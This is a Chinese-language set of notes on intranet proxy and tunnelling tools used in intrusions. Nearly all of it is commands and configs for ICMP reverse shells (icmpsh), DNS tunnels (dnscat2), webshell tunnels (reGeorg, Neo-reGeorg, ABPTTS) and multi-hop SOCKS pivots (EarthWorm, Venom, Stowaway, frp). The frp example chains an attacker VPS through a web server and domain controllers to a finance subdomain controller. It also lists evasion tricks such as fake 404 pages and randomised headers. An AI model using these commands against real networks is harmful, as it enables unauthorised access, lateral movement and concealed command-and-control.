黑客内网代理和穿透工具的分析记录

git clone https://github.com/inquisb/icmpsh.git
#关闭icmp回复,如果要开启icmp回复，该值设置为0sysctl -w net.ipv4.icmp_echo_ignore_all=1
#运行，第一个IP是VPS的eth0网卡IP，第二个IP是目标机器出口的公网IPwget https://bootstrap.pypa.io/pip/2.7/get-pip.pypython2 get-pip.pypython2 -m pip install impacketpython2 icmpsh_m.py 192.168.1.133 192.168.1.137

-t 主机ip地址以发送ping请求。这个选项是强制性的！-r 发送一个包含字符串“Test1234”的测试icmp请求，然后退出。-d 毫秒请求之间的延迟（毫秒）-o 毫秒响应超时（毫秒）。如果没有及时收到回复，从机将增加空白计数器。如果该计数器达到某个极限，从机将退出。如果收到响应，计数器将设置回0。-b 空白数量限制（退出前未答复的icmp请求）-s 字节最大数据缓冲区大小（字节）
icmpsh.exe -t 192.168.1.133 -d 500 -b 30 -s 128

-type server 代表开启ICMP SERVER端，等待客户端进行连接与通信。-noprint 1 不在控制台打印日志-nolog 1 不存储日志文件
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
./pingtunnel -type server -noprint 1 -nolog 1

pingtunnel.exe -type client -l :4455 -s 192.168.1.133 -sock5 1 -noprint 1 -nolog 1

EW共有6 种命令格式（ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran）ssocksd:正向代理、rcsocks:流量转发、rssocks:socks5反弹lcx_slave:端口绑定、lcx_listen:流量转发、lcx_tran:端口转发
lcx_slave 该管道一侧通过反弹方式连接代理请求方，另一侧连接代理提供主机。lcx_tran 该管道，通过监听本地端口接收代理请求，并转交给代理提供主机。lcx_listen该管道，通过监听本地端口接收数据，并将其转交给目标网络回连的代理提供主机。通过组合lcx类别管道的特性，可以实现多层内网环境下的渗透测试。
-l 为服务启动打开一个端口。-d 设置反弹主机地址。-e 设置反弹端口。-f 设置连接主机地址。-ｇ连接端口设置连接端口。-t 设置超时的毫秒数。默认值值是1000

ew.exe -s rssocks -d 192.168.1.131 -e 8888

ew.exe -s rcsocks -l 1080 -e 8888

主机Aew -s lcx_tran -l 1080 -f 2.2.2.3 -g 8888
主机Bew -s ssocksd -l 8888
通过proxifier代理工具访问2.2.2.2:1080

公网主机ew -s lcx_listen -e 8888 -l 1080
A主机ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999
B主机ew -s ssocksd -l 9999
通过proxifier代理工具访问1.1.1.1:1080

VPSew -s rcsocks -l 1080 -e 8888
主机Aew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999
主机Ｂew -s lcx_listen -l 9999 -e 7777
主机Cew -s rssocks -d 2.2.2.3 -e 7777
通过proxifier代理工具访问1.1.1.1:1080

admin.exe -lport 9999

agent.exe -rhost 192.168.1.131 -rport 9999

admin.exe -lport 9999 -passwd dlive@dubheagent.exe -rhost 192.168.1.131 -rport 9999 -passwd dlive@dubhe

VPS:120.10.120.Xadmin_linux_x64 -lport 4343 -passwd test@123goto 1listen 4343goto 2listen 4343
主机A:192.168.3.15agent.exe -rhost 120.10.120.X -rport 4343 -passwd test@123
主机B:192.168.3.30agent.exe -rhost 192.168.3.15 -rport 4343 -passwd test@123
主机C:192.168.3.160agent.exe -rhost 192.168.3.30 -rport 4343 -passwd test@123

stowaway_admin -l 9999use 0 socks 10001

stowaway_agent -c 192.168.1.131:9999

stowaway_admin -l 9999 -s test@123stowaway_agent -c 192.168.1.131:9999 -s test@123

在stowaway中，组成多级网络需要借助admin中的listen、connect、 sshtunnel命令来实现
admin: ./stowaway_admin -l 9999 -s 123
agent-1: ./stowaway_agent -c 127.0.0.1:9999 -s 123
agent-2: ./stowaway_agent -l 10000 -s 123通过admin,输入use 0 -> connect agent-2的IP:10000来将其加入网络，并成为agent-1的一个子节点
agent-3: ./stowaway_agent -c 127.0.0.1:10001 -s 123通过admin,输入use 0 -> listen -> 选择1.Normal Passive -> 输入10001 从而使得agent-1监听在10001端口上，并等待子节点的连接

[common]server_addr = 192.168.1.131server_port = 7000token = test@123
[socks5]type = tcplocal_ip = 192.168.3.73remote_port = 1081plugin = socks5plugin_user = testplugin_passwd = 123use_encryption = trueuse_compression = true

[common]bind_port = 7000token = test@123

1、黑客VPS#frpc.ini[common]bind_addr = 0.0.0.0bind_port = 7099
2、外网web服务器#frpc.ini[common]server_addr = 192.168.27.157server_port = 7000[proxy]type = tcplocal_ip = 10.10.3.100local_port = 9999remote_port = 9999plugin = socks5
#frps.ini[common]bind_addr = 10.10.3.100bind_port = 7000
3、内网域控#frpc.ini[common]server_addr = 10.10.3.100server_port = 7000[proxy]type = tcplocal_ip = 10.10.21.5local_port = 9999remote_port = 9999plugin = socks5
#frps.ini[common]bind_addr = 10.10.21.5bind_port = 7000
4、财务子域控制器#frpc.ini[common]server_addr = 10.10.21.5server_port = 7000[proxy]type = tcpremote_port = 9999plugin = socks5

const ADMIN_UUID = "IAMADMINXD"const TEMP_UUID = "IAMNEWHERE"const TEMP_ROUTE = "THEREISNOROUTE"

[common]server_addr = 192.168.1.131server_port = 7000token = test@123
[socks5]type = tcplocal_ip = 192.168.3.73remote_port = 1081plugin = socks5plugin_user = testplugin_passwd = 123use_encryption = trueuse_compression = true

[common]bind_port = 7000token = test@123

[common]server_addr = 192.168.1.131server_port = 7000token = test@123tls_enable = true
[socks5]type = tcplocal_ip = 192.168.3.73remote_port = 1081plugin = socks5plugin_user = testplugin_passwd = 123use_encryption = trueuse_compression = true

[common]bind_port = 7000token = test@123

在server端运行:./udp2raw_amd64 -s -l0.0.0.0:4096  -r127.0.0.1:7777   -k "passwd" --raw-mode faketcp   --cipher-mode xor  -a
在client端运行:./udp2raw_amd64 -c -l0.0.0.0:3333  -r192.168.1.133:4096 -k "passwd" --raw-mode faketcp   --cipher-mode xor  -a

ruby ./dnscat2.rb -s 553 -c password --no-cache
dnscat2-client.exe --dns server=192.168.1.133,port=553 --secret=password

#-e 指定安全级别，open 表示服务端允许客户端不进行加密ruby ./dnscat2.rb www.dnstuneltest.com -c password --no-cache -e opendnscat2-client.exe --dns domain=www.dnstuneltest.com --secret=password

sudo ssh -N -f -L 192.168.1.133:4444:192.168.1.129:3389 192.168.1.133

-l 表示本地监听的端口-r 远程要转发的端口-v 详细模式-b 请求大小-s 首先启动 pinging 线程 - 一些服务首先发送数据（例如 SSH）-C 请求 cookie-t 基本认证

python proxy.py -u http://192.168.1.137:81/Files/common/conn.aspx -l 1234 -r 3389 –vpython proxy.py -u http://192.168.1.137:81/Files/common/conn.aspx -l 1234 -a 192.168.3.144 -r 3389

python proxy.py -u http://218.4.45.152:8877/job/conn.php -l 1234 -r 22 -v –s

1、传输内容经过变形 base64 加密，伪装成 base64 编码2、直接请求响应可定制化 (如伪装的404页面)3、HTTP Headers 的指令随机生成，避免特征检测4、HTTP Headers 可定制化5、自定义 HTTP 响应码6、多 URL 随机请求7、服务端 DNS 解析8、兼容 python2 / python39、服务端环境的高兼容性(仅 php) 参考 pivotnacci 实现单 Session 创建多 TCP 连接，应对部分负载均衡场景aspx/ashx/jsp/jspx 已不再依赖 Session，可在无 Cookie 等恶劣环境正常运行(非 php) 支持内网转发，应对负载均衡环境

$ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp

python3 neoreg.py generate -k passwordpython3 neoreg.py -k password -u http://xx/tunnel.php
python neoreg.py generate -k <you_password> --file 404.html --httpcode 404python neoreg.py -k <you_password> -u <server_url> --skip
python neoreg.py -k <you_password> -u <server_url> --proxy socks5://10.1.1.1:8080
python neoreg.py -k <you_password> -u <server_url> -H 'Authorization: cm9vdDppcyB0d2VsdmU=' --cookie "key=value;key2=value2"

git clone https://github.com/nccgroup/ABPTTS.gitpip install pycryptodomepip install httplib2
#生成对应webshellpython abpttsfactory.py -o webshell
#把目标主机的3389端口转发到本地的7777端口python abpttsclient.py -c webshell/config.txt -u "http://192.168.1.137:81/Files/common/abptts.aspx" -f 192.168.1.133:7777/127.0.0.1:3389

Login\LoginResp\NewProxy\NewProxyResp\CloseProxy\NewWorkConn\StartWorkConn\NewVisitorConnNewVisitorConnResp\Ping\UDPPacket\NatHoleVisitor\NatHoleClient\NatHoleResp\NatHoleSid